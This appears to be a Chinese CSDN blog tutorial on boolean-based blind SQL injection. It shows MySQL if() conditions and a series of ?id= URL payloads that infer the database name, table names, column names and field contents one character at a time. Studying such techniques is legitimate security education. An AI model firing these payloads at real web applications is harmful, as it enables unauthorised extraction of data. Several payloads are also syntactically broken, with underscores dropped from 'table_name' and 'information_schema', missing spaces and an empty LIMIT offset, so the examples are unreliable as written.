sql注入之布尔盲注

本文介绍了布尔盲注技术,如何使用SQL的if函数进行条件判断以获取数据库信息,包括长度猜测、表名、字段名和字段内容的探测方法。
摘要由CSDN通过智能技术生成

布尔盲注

在页面中不会显示数据库信息,一般情况下只会显示对与错的内容。

判断

条件判断函数
条件判断函数if是SQL时间盲注中的必用函数,可以利用if函数来根据条件来反馈不同的结果。
if函数格式如下所示:

if([条件],[值1],[值2] )

当条件成立时,if函数返回值1,当条件不成立时,if函数返回值2.

布尔型盲注入用到的 SQL 语句 select if(1=1,1,0)。if()函数在 mysql 是判断,第一个参数表达式,如果条件成立,会显示 1,否则显示 0。1=1 表达式可以换成构造的 SQL 攻击语句

1' and if(1=1,1,0)# ( --+)
页面返回正常,这个语句实际上是 1' and 1,真 and 真,结果为真,1 是存在记录的。所以返回正确页面。

1' and if(1=2,1,0)--+
页面返回错误,这个语句就是 1' and 0,真 and 假,结果为假,整个 SQL 的值也是 0,所以没有记录,返回错误页面

 

猜数据库的长度;
?id=1 and (length(database()))>11#
猜测数据库的库名:

?id=1 and ascii(substr(database(),1,1))>1#
猜表名
?id=1and length((select table name from information schema.tables where table schema=data limit0,1))=3
?id=1and substr((select table name from information schema.tables where table schema='ka' limit0,1),1,1)='l'
猜第一个字段名第一个字符:
?id=1and substr((select column name from information schema.columns where table name='lf' limit0,1),1,1)='i'
猜第一个字段名第二个字符:
?id=1and substr((select column name from information schema.columns where table name='lf' limit0,1),2,1)='i'
猜第二个字段名:
?id=1and substr((select column name from information schema.columns where table name='lt' limit1,1),2,1)='i'
猜字段中的内容:

?id=1and (ascii(substr(( select flag from lf limit ,1),1,1)))=12

  • 10
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

南棋网络安全

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值